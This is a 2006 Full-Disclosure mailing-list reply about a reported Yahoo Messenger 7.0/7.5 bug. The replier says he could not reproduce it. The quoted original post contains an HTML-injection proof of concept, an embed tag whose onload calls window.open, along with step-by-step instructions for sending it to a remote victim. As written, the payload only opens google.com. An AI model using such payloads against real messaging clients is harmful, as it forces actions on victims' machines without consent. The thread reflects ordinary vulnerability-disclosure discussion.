Re: [Full-disclosure] Yahoo messenger serious bug

["John Dietz" <www.whitewolf@xxxxxxxxx>]

I just tried this in Mesenger 7.0 and it never opened a browser window.  I
copied the text exactly from here and made sure the space after helomsg was
[Alt]+0160 and the most I could get it to do was do a Yahoo Search on the
string.  Other side sees:

s: helomsg :+)-(%/?#()(=(/;_@#~$(@;+?/(?#@@*-)?@+#@;?(msg:
---------------------------------------------<embed
onload=window.open('http:\\\\google.com/')>helomsg
:+)-(%/?#()(=(/;_@#~$(@;+?/(?#@@*-)?@+#@;?(msg:
---------------------------------------------<embed
onload=window.open('http:\\\\google.com/')>helomsg
:+)-(%/?#()(=(/;_@#~$(@;+?/(?#@@*-)?@+#@;?(
Yahoo! Search: No results were found for helomsg
:+)-(%/?#()(=(/;_@#~$(@;+?/(?#@@*-)?@+#@;?(msg:
---------------------------------------------<embed
onload=window.open('http:\\\\google.com/')>helomsg
:+)-(%/?#()(=(/;_@#~$(@;+?/(?#@@*-)?@+#@;?(msg:
---------------------------------------------<embed
onload=window.open('http:\\\\google.com/')>helomsg
:+)-(%/?#()(=(/;_@#~$(@;+?/(?#@@*-)?@+#@;?(.

There must be some other settings on either mesenger or the computer itself
for this to work as you say.  Possibly a setting for mesenger to use your
default browser for searches in stead of the PM window?

Cheers


On 7/28/06, Ivan Ivan <ivancool2003@xxxxxxxxxxxx> wrote:
> Hi,
> I found another vulnerability in yahoo messenger that
> if you receive a Private message with this string
>
> "helomsg:+)-(%/?#()(=(/;_@#~$(@;+?/(?#@@*-)?@+#@;?(msg:---------------------------------------------<embed
> onload=window.open
> ('http:\\\\google.com/')>helomsg:+)-(%/?#()(=(/;_@#~$(@;+?/(?#@@*-)?@+#@;?(msg:---------------------------------------------<embed
> onload=window.open
> ('http:\\\\google.com/')>helomsg:+)-(%/?#()(=(/;_@#~$(@;+?/(?#@@*-)?@+#@;?("
> (without quotes) Yahoo messenger open in this case
> google.com in the internet explorer of the remote
> victim.
>
> Yahoo messenger bug proof of concept:
>
> 1. Open messenger and log it.
>
> 2. Open a yahoo chat third party like yahelite through
> Ymsgr protocol and log it with another account.
>
> 3. Send a Pm to the messenger account with this
> string: s: helomsg
>
> :+)-(%/?#()(=(/;_@#~$(@;+?/(?#@@*-)?@+#@;?(msg:---------------------------------------------<embed
> onload=window.open('http:\\\\google.com/')>helomsg
>
> :+)-(%/?#()(=(/;_@#~$(@;+?/(?#@@*-)?@+#@;?(msg:---------------------------------------------<embed
> onload=window.open('http:\\\\google.com/')>helomsg
> :+)-(%/?#()(=(/;_@#~$(@;+?/(?#@@*-)?@+#@;?(
>
> 4. The remote user will open www.google.com (you can
> change)
>
> Note: "helomsg :" this space must be created with
> alt+0160 and this "s: " with a space
>
>
> s:[space]helomsg[alt+0160]:+)-(%/?#()(=(/;_@#~$(@;+?/(?#@@*-)?@+#@;?(msg:---------------------------------------------<embed
> onload=window.open
> ('http:\\\\google.com/')>helomsg[alt+0160]:+)-(%/?#()(=(/;_@#~$(@;+?/(?#@@*-)?@+#@;?(msg:---------------------------------------------<embed
> onload=window.open
> ('http:\\\\google.com/')>helomsg[alt+0160]:+)-(%/?#()(=(/;_@#~$(@;+?/(?#@@*-)?@+#@;?(
>
> Tested in yahoo messenger 7.0/7.5
>
>
> Regards.
>
>
>
>
>
> __________________________________________________
> Preguntá. Respondé. Descubrí.
> Todo lo que querías saber, y lo que ni imaginabas,
> está en Yahoo! Respuestas (Beta).
> ¡Probalo ya!
> http://www.yahoo.com.ar/respuestas
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
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--
There is intelligence is in having all the answers, but wisdom lies in
knowing which of the questions to answer.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/